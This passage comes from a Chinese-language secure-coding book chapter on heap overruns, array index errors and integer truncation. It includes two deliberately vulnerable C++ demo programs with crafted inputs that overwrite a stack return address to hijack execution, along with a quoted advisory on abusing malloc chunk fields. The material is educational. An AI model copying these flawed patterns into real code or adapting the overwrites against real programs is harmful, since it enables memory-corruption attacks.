系統安全公敵 - 緩衝溢位 (二)
堆積溢位(Heap Overrun)
「堆積溢位」(Heap Overrun)和緩衝溢位是一樣,都是嚴重的溢位問題,但是比起緩衝溢位,堆積溢位需要更多一點的技巧。在靜態緩衝溢位的例子中,攻擊者可以在你的程式中任意寫入資訊。WSD(w00w00 Security Development)Matt Conover所撰寫的w00w00 on Heap Overflows是筆者讀過的一篇好文章,您可以在www.w00w00.org/files/articles/heaptut.txt中找到這篇文章。這篇文章列出許多有關Heap Overrun的攻擊,以下則是有關於Heap Overrun嚴重性的結論:
-
許多程式設計師不認為Heap Overrun是可被開發出來的,這使得他們對於動態指派緩衝疏於照顧。
-
許多工具可以用來防止靜態緩衝溢位,像是StackGuard、Visual C++ .NET。但這些工具目前並沒辦法對抗堆積溢位。
-
有些作業系統及晶片的架構可以將堆疊設定為不可執行。但是這也無法幫助你對抗Heap Overrun的攻擊,因為不可執行的堆疊只能對抗以堆疊(Stack)為基礎的攻擊,而非以堆積(Heap)為基礎。
雖然在Matt的文章中是以 UNIX 受到攻擊為範例,但千萬別笨得以為 Microsoft 的 Windows 系統就可逃過一劫。有許多證明 Windows 的程式會被堆積溢位所攻擊。在 w00w00 的文章中並沒有針對堆積溢位攻擊的可能性作詳細說明,不過您還是可以到 BugTraq上Solar Designer 所貼的文章去查詢(www.securityfocus.com/archive/1/71598):
To: BugTraq
Subject: JPEG COM Marker Processing Vulnerability in Netscape
Browsers
Date: Tue Jul 25 2000 04:56:42
Author: Solar Designer <>
Message-ID: <200007242356.daa01274@false.com>
[以上文字省略]
在以下的例子中,我們假設 Doug Lea 的 malloc (使用在大部分的 Linux 平台中,libc5 和glibc)及 locale 函數為 8 位元的字元組(就像大部分的 locale 依附於 glibc ,包括 en_US 或是ru_RU.KOI8-R)。
以下的各項欄位是為了保留給列表中未使用的資料區塊:之前保留給資料區塊的大小(如果未被使用的話)、這個資料區塊的大小、及指到下一個和前一個資料區塊的指標。另外,資料區塊的大小所顯示的bit 0,乃是用來表示前一個資料區塊是否正在使用中(由於structure大小及alignment,chunk實際大小的LSB將總是為0)
小心處理這些欄位,便可能將傳送到free(3)記憶體位址的呼叫,取代為我們的資料,進而覆蓋掉原來獨占性記憶體位址的資料。
[以下文字省略]
請注意這對Linux/x86並沒有任何限制,只是需要以其中一種平台做範例罷了。
以下的程式顯示堆積溢位如何達成:
/*
HeapOverrun.cpp
*/
#include
#include
#include
/*
用來描述問題的一個很爛的典型模組
*/
class BadStringBuf
{
public:
BadStringBuf(void)
{
m_buf =NULL;
}
~BadStringBuf(void)
{
if(m_buf !=NULL)
free(m_buf);
}
void Init(char*buf)
{
//真是爛程式
m_buf =buf;
}
void SetString(const char*input)
{
//這太白痴了
strcpy(m_buf,input);
}
const char*GetString(void)
{
return m_buf;
}
private:
char*m_buf;
};
//宣告一個指標到BadStringBuf典型模組,以保留我們的輸入
BadStringBuf*g_pInput =NULL;
void bar(void)
{
printf("Augh!I've been hacked!\n");
}
void BadFunc(const char*input1,const char*input2)
{
//有人告訴我堆積溢位並不是最酷的,所以我們將要在heap中分配緩衝區
char*buf =NULL;
char*buf2;
buf2 =(char*)malloc(16);
g_pInput =new BadStringBuf;
buf =(char*)malloc(16);
//在分配記憶體時,沒有錯誤檢驗的爛程式allocations
g_pInput->Init(buf2);
//最糟的事情就是當機,不是嗎?
strcpy(buf,input1);
g_pInput->SetString(input2);
printf("input 1 =%s \ninput2 =%s \n",buf,g_pInput->GetString());
if(buf !=NULL)
free(buf);
}
int main(int argc,char*argv [])
{
//模擬argv 字串
char arg1 [128 ];
//這是bar函數的位址
char arg2 [4 ]={0x0f,0x10,0x40,0};
int offset =0x40;
//使用0xfd 是克服heap 損壞檢驗的壞方法
//The 0xfd value at the end of the buffer checks for corruption.
//在這裡沒有錯誤檢驗—它只是建立一個溢位字串的例子
memset(arg1,0xfd,offset);
arg1 [offset ]=(char)0x94;
arg1 [offset+1 ]=(char)0xfe;
arg1 [offset+2 ]=(char)0x12;
arg1 [offset+3 ]=0;
arg1 [offset+4 ]=0;
printf("Address of bar is %p \n",bar);
BadFunc(arg1,arg2);
if(g_pInput !=NULL)
delete g_pInput;
return 0;
}
您也可以在本書所附 CD 裡的 SecureCo2\Chapter 5 資料夾中找到這個程式。我們來看看 main 函數發生了什麼事。首先筆者將找一個便利的方法,把想要傳送至函數的字串設定好。在現實中,字串是由使用者傳送進來。接著筆者將用一些技巧,把想要跳進去的位址列印出來,然後將字串傳送到BadFunc函數中。
您可以想像一位程式設計師對於所撰寫的 BadFunc 產生了靜態緩衝溢位,而朋友卻告訴他一點也沒發生堆積溢位的情形,這將是多尷尬的一件事。因為這位程式設計師還是 C++ 的初學者,同時他也寫了BadStringBuf 的函數,如此C++便將輸入緩衝指標分類。其最大的特徵便是在destructor 中釋放緩衝,以防止記憶體的資料外漏。當然,如果 BadStringBuf 中的緩衝沒有對 mallo c 做初始化,則在呼叫 free 函數的時候會出現一些問題。在 BadStringBuf 中還有幾個其他的臭蟲,筆者將留給讀者自行判斷它們位於何處。
現在讓我們想像自己是一位駭客,你已經注意到當第一或是第二個引數過長而致使程式爆炸,然而錯誤訊息卻顯示記憶體在 heap 中損毀。接著您將為這個程式進行偵錯,並尋找第一個輸入字串的位置。靠近緩衝最佳的記憶體位址在哪?調查中顯示第二個引數寫入另一個動態定位的緩衝中。指 向緩衝的指標在哪?我們可以搜尋符合第二個緩衝位址的記憶體位址(byte),而指向第二個緩衝的指標剛好是 0x40 byte 經過第一個緩衝起始點的位置。當第二個引數被寫成任何指標時,我們可以任意改變此指標,換言之,也可以改變為任何我們所傳送的字串。
在第一個範例中,其目的是得到bar函數並執行,我們可以在這個範例中的參考位址 0x0012fe94 覆寫指標,此時會保留 BadFunc 函數的回傳位址,而這個位址正是在堆疊中指標的位置。您可以依循除錯程式的指示,這個範例是在 Visual C++6.0 中所建立的,如果你的版本不同或是想要試著讓所釋出的版本可以正常的運作的話,offsets 和記憶體配置將會有很多變化。接著我們將把第二個字串設在0x0012fe94~0x0040100f(bar函數的位址)。因為我們沒有將堆疊打碎,因此有些機構將會保護堆疊以致堆疊不會注意到任何改變。如果你執行範例程式,會得到以下的結果:
Address of bar is 0040100F
input 1 = 22222222222222222222222222222222222222222222222222222222o57
input 2 = 64@
Augh! I’ve been hacked!
要注意的是您可以在除錯模式下執行這個程式,因為 Visual C++ 在除錯模式下的堆疊檢查並不能被應用在 Heap 上。如果您覺得這個範例老是在繞圈子而不是那麼容易懂,或是在現實中這樣的可能性是微乎其微,請再仔細思考看看!當 Solar Designer 在他的 email 中指出,即使兩個緩衝無法彼此相鄰,任意的語法也能夠被執行,這是因為你可以很技巧地使用 Heap 管理常式(Heap management routines)。
Note 我至少知道有三種方法可以讓堆積管理在你所想要的地方寫入四個位元組,而這接著會被用來覆寫掉指標、框架或者是你想要的任何基本東西。它也會因為在應用程式中覆寫掉了一些數值而造成安全性上的臭蟲。存取查驗(Access checks)就是其中一個例子。 |
堆積溢位的數量增加的愈來愈快速了。堆積溢位的攻擊通常較 stack-based 緩衝溢位來的嚴重。但對於駭客而言,不論它是好的駭客或者是一個居心不良的駭客,問題愈有趣,他們就會覺得能解決這個問題是更酷的事情。在這裡底限是你並不需望使用者輸入可以任意寫入記憶體位置的資料。
陣列索引錯誤
陣列索引錯誤比起緩衝溢位則較為不普遍,但是它會造成同樣的結果─那是因為字串也是一串字元組合而成,而且不管哪一種陣列,都一樣會被用來寫入記憶體任意位置。如果你不正視這個問題,或許認為陣列索引錯誤只會允許你寫入比陣列基準(base of the array)高的記憶體位置,但這是不對的。筆者將會針對這個問題在稍後的部分做討論。現在讓我們看看一個範例程式,看它展示陣列索引錯誤如何被用來寫入記憶體的任意位置:
/*
ArrayIndexError.cpp
*/
#include
#include
int*IntVector;
void bar(void)
{
printf("Augh!I've been hacked!\n");
}
void InsertInt(unsigned long index,unsigned long value)
{
printf("Writing memory at %p \n",&(IntVector [index ]));
IntVector [index ]=value;
}
bool InitVector(int size)
{
IntVector =(int*)malloc(sizeof(int)*size);
printf("Address of IntVector is %p \n",IntVector);
if(IntVector ==NULL)
return false;
else
return true;
}
int main(int argc,char*argv [])
{
unsigned long index,value;
if(argc !=3)
{
printf("Usage is %s [index ][value ]\n");
return -1;
}
printf("Address of bar is %p \n",bar);
//讓我們啟動vector,64 KB的空間對任何人而言,都夠用的
if(!InitVector(0xffff))
{
printf("Cannot initialize vector!\n");
return -1;
}
index =atol(argv [1 ]);
value =atol(argv [2 ]);
InsertInt(index,value);
return 0;
}
ArrayIndexError.cpp這個程式也可以在所附的光碟中SecureCo2\Chapter 5資料夾中找到。
現在我們用數學來算算!在範例中的陣列從0x00510048開始,而我們要寫入的位置則是在堆疊上的回傳數值─0x0012FF84。以下方程式敘述單一陣列元素的位址如何由陣列基數、索引、陣列元素的大小所決定:
Address of array element = base of array + index * sizeof(element)
將範例中的數值代入方程式中,我們得到:
0x10012FF84 = 0x00510048 + index * 4
注意0x10012FF84被使用於方程式中,而非0x0012FF84。Calc.exe這個程式顯示索引是0x3FF07FCF或是 1072725967,而bar(0x00401000)函數的位址則是4198400(十進位)。以下是程式的結果:
[d:\]ArrayIndexError.exe 1072725967 4198400
Address of bar is 00401000
Address of IntVector is 00510048
Writing memory at 0012FF84
Augh!I've been hacked!
正如您所看到的,如果攻擊者已經存取了除錯程式,此時便發生一些瑣碎的錯誤。另外一些相關的問題,便是截斷性的錯誤。對於32位元的作業系統, 0x100000000和0x00000000其實是相同的值。程式設計師對於截斷性錯誤(truncation error)相當熟悉,因此相較於那些只攻讀資訊工程的人而言,他們傾向於撰寫較具體的程式碼。筆者認為這是因為這些人具有數值分析的背景,有了數值分析 的能力,對於截斷性錯誤會具有更好的鑑識能力。
在UNIX作業系統中,管理者的帳號具有一個使用者ID是0。網路的檔案服務會接受整數的使用者ID,檢查是否為非零的整數,並將其截短。這樣的裂縫將可 讓使用者以非零、截斷成2位元的0x10000的ID(UID)登入,在0x0000結束,並讓准允使用者以管理者的身分登入,因為UID是0。因此當處 理任何有關截斷錯誤或是溢位,請小心